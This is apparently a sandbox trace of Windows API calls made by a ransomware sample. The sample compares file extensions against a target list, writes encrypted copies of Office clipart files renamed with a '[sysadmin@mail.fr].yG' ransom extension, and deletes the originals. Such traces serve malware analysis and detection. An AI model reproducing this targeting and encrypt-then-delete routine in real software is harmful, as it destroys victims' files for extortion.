	[0145.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0145.690] lstrlenW (lpString=".jpg") returned 4
	[0145.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0145.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0145.690] lstrlenW (lpString=".doc") returned 4
	[0145.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.690] lstrlenW (lpString=".docx") returned 5
	[0145.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.690] lstrlenW (lpString=".pdf") returned 4
	[0145.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.690] lstrlenW (lpString=".xls") returned 4
	[0145.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.690] lstrlenW (lpString=".xlsx") returned 5
	[0145.690] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.690] lstrlenW (lpString=".ppt") returned 4
	[0145.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0145.691] lstrlenW (lpString=".zip") returned 4
	[0145.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.691] lstrlenW (lpString=".rar") returned 4
	[0145.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.691] lstrlenW (lpString=".bz2") returned 4
	[0145.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.691] lstrlenW (lpString=".7z") returned 3
	[0145.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0145.691] lstrlenW (lpString=".dbf") returned 4
	[0145.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0145.691] lstrlenW (lpString=".1cd") returned 4
	[0145.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68
	[0145.691] lstrlenW (lpString=".jpg") returned 4
	[0145.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.691] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0145.691] lstrlenW (lpString="FD00296_.WMF") returned 12
	[0145.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0145.788] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=15856) returned 1
	[0145.789] CloseHandle (hObject=0x534) returned 1
	[0145.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220
	[0145.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0145.906] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.906] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0145.907] GetLastError () returned 0x0
	[0145.908] ReadFile (in: hFile=0x4ac, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x3df0, lpOverlapped=0x0) returned 1
	[0146.361] WriteFile (in: hFile=0x48c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x3e00, lpOverlapped=0x0) returned 1
	[0146.368] ReadFile (in: hFile=0x4ac, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.368] WriteFile (in: hFile=0x48c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0146.369] SetEndOfFile (hFile=0x48c) returned 1
	[0146.424] CloseHandle (hObject=0x48c) returned 1
	[0146.431] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.431] SetEndOfFile (hFile=0x4ac) returned 1
	[0146.458] CloseHandle (hObject=0x4ac) returned 1
	[0146.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0146.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1
	[0146.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0146.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0146.740] lstrlenW (lpString=".doc") returned 4
	[0146.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.740] lstrlenW (lpString=".docx") returned 5
	[0146.740] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.740] lstrlenW (lpString=".pdf") returned 4
	[0146.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.740] lstrlenW (lpString=".xls") returned 4
	[0146.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.740] lstrlenW (lpString=".xlsx") returned 5
	[0146.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.740] lstrlenW (lpString=".ppt") returned 4
	[0146.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0146.740] lstrlenW (lpString=".zip") returned 4
	[0146.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.740] lstrlenW (lpString=".rar") returned 4
	[0146.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.740] lstrlenW (lpString=".bz2") returned 4
	[0146.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.741] lstrlenW (lpString=".7z") returned 3
	[0146.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0146.741] lstrlenW (lpString=".dbf") returned 4
	[0146.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0146.741] lstrlenW (lpString=".1cd") returned 4
	[0146.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0146.741] lstrlenW (lpString=".jpg") returned 4
	[0146.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0146.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0146.741] lstrlenW (lpString=".doc") returned 4
	[0146.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.741] lstrlenW (lpString=".docx") returned 5
	[0146.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.741] lstrlenW (lpString=".pdf") returned 4
	[0146.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.741] lstrlenW (lpString=".xls") returned 4
	[0146.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.741] lstrlenW (lpString=".xlsx") returned 5
	[0146.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.741] lstrlenW (lpString=".ppt") returned 4
	[0146.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0146.742] lstrlenW (lpString=".zip") returned 4
	[0146.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.742] lstrlenW (lpString=".rar") returned 4
	[0146.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.742] lstrlenW (lpString=".bz2") returned 4
	[0146.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.742] lstrlenW (lpString=".7z") returned 3
	[0146.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0146.742] lstrlenW (lpString=".dbf") returned 4
	[0146.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0146.742] lstrlenW (lpString=".1cd") returned 4
	[0146.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0146.742] lstrlenW (lpString=".jpg") returned 4
	[0146.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.742] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0146.743] lstrlenW (lpString="FD00397_.WMF") returned 12
	[0146.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0146.743] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=10816) returned 1
	[0146.743] CloseHandle (hObject=0x52c) returned 1
	[0146.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220
	[0146.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0146.744] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.744] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0146.745] GetLastError () returned 0x0
	[0146.745] ReadFile (in: hFile=0x52c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2a40, lpOverlapped=0x0) returned 1
	[0146.769] WriteFile (in: hFile=0x518, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2a50, lpOverlapped=0x0) returned 1
	[0146.770] ReadFile (in: hFile=0x52c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.770] WriteFile (in: hFile=0x518, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0146.770] SetEndOfFile (hFile=0x518) returned 1
	[0146.770] CloseHandle (hObject=0x518) returned 1
	[0146.771] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.771] SetEndOfFile (hFile=0x52c) returned 1
	[0146.774] CloseHandle (hObject=0x52c) returned 1
	[0146.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0146.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1
	[0146.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0146.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0146.775] lstrlenW (lpString=".doc") returned 4
	[0146.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.775] lstrlenW (lpString=".docx") returned 5
	[0146.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.775] lstrlenW (lpString=".pdf") returned 4
	[0146.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.775] lstrlenW (lpString=".xls") returned 4
	[0146.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.775] lstrlenW (lpString=".xlsx") returned 5
	[0146.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.775] lstrlenW (lpString=".ppt") returned 4
	[0146.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0146.776] lstrlenW (lpString=".zip") returned 4
	[0146.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.776] lstrlenW (lpString=".rar") returned 4
	[0146.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.776] lstrlenW (lpString=".bz2") returned 4
	[0146.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.776] lstrlenW (lpString=".7z") returned 3
	[0146.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0146.776] lstrlenW (lpString=".dbf") returned 4
	[0146.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0146.776] lstrlenW (lpString=".1cd") returned 4
	[0146.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0146.776] lstrlenW (lpString=".jpg") returned 4
	[0146.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0146.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0146.776] lstrlenW (lpString=".doc") returned 4
	[0146.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.776] lstrlenW (lpString=".docx") returned 5
	[0146.776] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.777] lstrlenW (lpString=".pdf") returned 4
	[0146.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.777] lstrlenW (lpString=".xls") returned 4
	[0146.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.777] lstrlenW (lpString=".xlsx") returned 5
	[0146.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.777] lstrlenW (lpString=".ppt") returned 4
	[0146.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0146.777] lstrlenW (lpString=".zip") returned 4
	[0146.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.777] lstrlenW (lpString=".rar") returned 4
	[0146.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.777] lstrlenW (lpString=".bz2") returned 4
	[0146.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.777] lstrlenW (lpString=".7z") returned 3
	[0146.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0146.777] lstrlenW (lpString=".dbf") returned 4
	[0146.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0146.777] lstrlenW (lpString=".1cd") returned 4
	[0146.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0146.777] lstrlenW (lpString=".jpg") returned 4
	[0146.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.778] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0146.778] lstrlenW (lpString="FD00403_.WMF") returned 12
	[0146.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0146.778] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=7878) returned 1
	[0146.778] CloseHandle (hObject=0x52c) returned 1
	[0146.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220
	[0146.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0146.779] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.779] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0146.780] GetLastError () returned 0x0
	[0146.780] ReadFile (in: hFile=0x52c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1ec6, lpOverlapped=0x0) returned 1
	[0146.785] WriteFile (in: hFile=0x518, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1ed0, lpOverlapped=0x0) returned 1
	[0146.786] ReadFile (in: hFile=0x52c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.786] WriteFile (in: hFile=0x518, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0146.786] SetEndOfFile (hFile=0x518) returned 1
	[0146.787] CloseHandle (hObject=0x518) returned 1
	[0146.787] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.787] SetEndOfFile (hFile=0x52c) returned 1
	[0146.794] CloseHandle (hObject=0x52c) returned 1
	[0146.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0146.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1
	[0146.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0146.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0146.796] lstrlenW (lpString=".doc") returned 4
	[0146.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.796] lstrlenW (lpString=".docx") returned 5
	[0146.796] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.796] lstrlenW (lpString=".pdf") returned 4
	[0146.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.796] lstrlenW (lpString=".xls") returned 4
	[0146.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.796] lstrlenW (lpString=".xlsx") returned 5
	[0146.796] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.796] lstrlenW (lpString=".ppt") returned 4
	[0146.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0146.796] lstrlenW (lpString=".zip") returned 4
	[0146.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.796] lstrlenW (lpString=".rar") returned 4
	[0146.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.796] lstrlenW (lpString=".bz2") returned 4
	[0146.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.796] lstrlenW (lpString=".7z") returned 3
	[0146.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0146.797] lstrlenW (lpString=".dbf") returned 4
	[0146.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0146.797] lstrlenW (lpString=".1cd") returned 4
